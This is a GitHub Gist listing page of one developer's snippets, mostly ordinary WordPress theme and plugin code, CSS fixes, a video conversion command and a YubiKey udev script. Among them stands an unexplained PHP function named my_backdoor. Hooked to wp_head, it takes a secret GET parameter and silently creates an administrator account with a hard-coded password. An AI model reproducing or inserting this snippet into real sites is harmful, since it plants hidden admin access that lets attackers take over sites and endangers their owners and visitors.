Skip to content

Instantly share code, notes, and snippets.

View aldolat's full-sized avatar
🤓
Happy in coding

Aldo Latino aldolat

🤓
Happy in coding
View GitHub Profile
@aldolat
aldolat / style.css
Created June 2, 2014 17:37
Create a child theme for WordPress
/*
Theme Name: {Child Theme name}
Theme URI: http: //www.example.com
Description: Child theme for {Parent theme name}
Author: {Author}
Author URI: http://www.example.com
Template: {name of the folder of the parent theme
Version: {version number}
*/
@aldolat
aldolat / toto.php
Last active August 29, 2015 14:08
Versione migliorata.
<?php
function toto_rename( $action ) {
switch ( $action ) :
case 'home' :
$directory = '/';
break;
case 'it' :
@aldolat
aldolat / convert-video
Created December 14, 2014 11:31
Convert from Full HD to mp4 HD. Make sure you have installed codecs from libavcodec-extra-54.
avconv -i input.MTS -s 1280x720 -b 8000k -r 30 output.mp4
@aldolat
aldolat / load-scripts.php
Last active August 29, 2015 14:16
Load a custom javascript in a WordPress admin page
<?php
/**
* Load the Javascript file.
* The file will be loaded only in the widgets admin page.
*
* @since 1.25
*/
function pis_load_scripts( $hook ) {
if( $hook != 'widgets.php' ) {
return;
<?php
/* *** SITUATION ***
* We want to retrieve 3 posts and show the sticky posts on top.
* To make sticky posts work as expected, the 's' parameter must be not declared or should be NULL,
* otherwise the sticky posts won't appear on top of other posts.
*/
/* *** CASE 1 ***
* This code works as expected ('s' is not declared) and sticky posts appear on top:
*/
@aldolat
aldolat / regola_udev.txt
Created November 25, 2015 18:15
Attivazione del supporto a U2F in Linux, utile per le chiavette YubiKey
#!/usr/bin/python
import re
import subprocess
import os
DEVICES = [
('0x1050', '0x0111', 'Yubico Yubikey NEO OTP+CCID'),
('0x1050', '0x0112', 'Yubico Yubikey NEO CCID'),
('0x1050', '0x0115', 'Yubico Yubikey NEO U2F+CCID'),
@aldolat
aldolat / gist:5390305
Created April 15, 2013 18:40
Fix for the CSS file of F2 WordPress theme with Posts in Sidebar plugin
.widget li.pis-li:before {
content: none;
}
.widget li.pis-li p.pis-title:before {
content: "\203A \0020";
}
<?php
add_action( 'wp_head', 'my_backdoor' );
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists( 'mr_admin' ) ) {
$user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
@aldolat
aldolat / Current
Last active December 20, 2015 05:49
<li class="pis-li">
<a class="pis-thumbnail-link" href="http://www.fullcleared.com/2013/07/24/microsoft-xbox-one-will-double-as-debug-units-indie-self-publishing-official/" title="" rel="bookmark">
<img width="300" height="168" src="http://www.fullcleared.com/wp-content/uploads/2013/07/microsoft-xbox-one-300x168.jpg" class="pis-thumbnail-img wp-post-image" alt="microsoft-xbox-one">
</a>
<p class="pis-title" style="margin-bottom: -10px;">
<a class="pis-title-link" href="http://www.fullcleared.com/2013/07/24/microsoft-xbox-one-will-double-as-debug-units-indie-self-publishing-official/" title="Permalink to Microsoft Xbox One Will Double as Debug Units, Indie Self-Publishing Official" rel="bookmark">
Microsoft Xbox One Will Double as Debug Units, Indie Self-Publishing Official
</a>
</p>
<p class="pis-excerpt" style="margin-bottom: 7px;"></p>
<?php
add_theme_support('menus');
/**
* Register Menus
* http://codex.wordpress.org/Function_Reference/register_nav_menus#Examples
*/
register_nav_menus(array(
'top-bar-l' => 'Left Top Bar', // registers the menu in the WordPress admin menu editor
'top-bar-r' => 'Right Top Bar'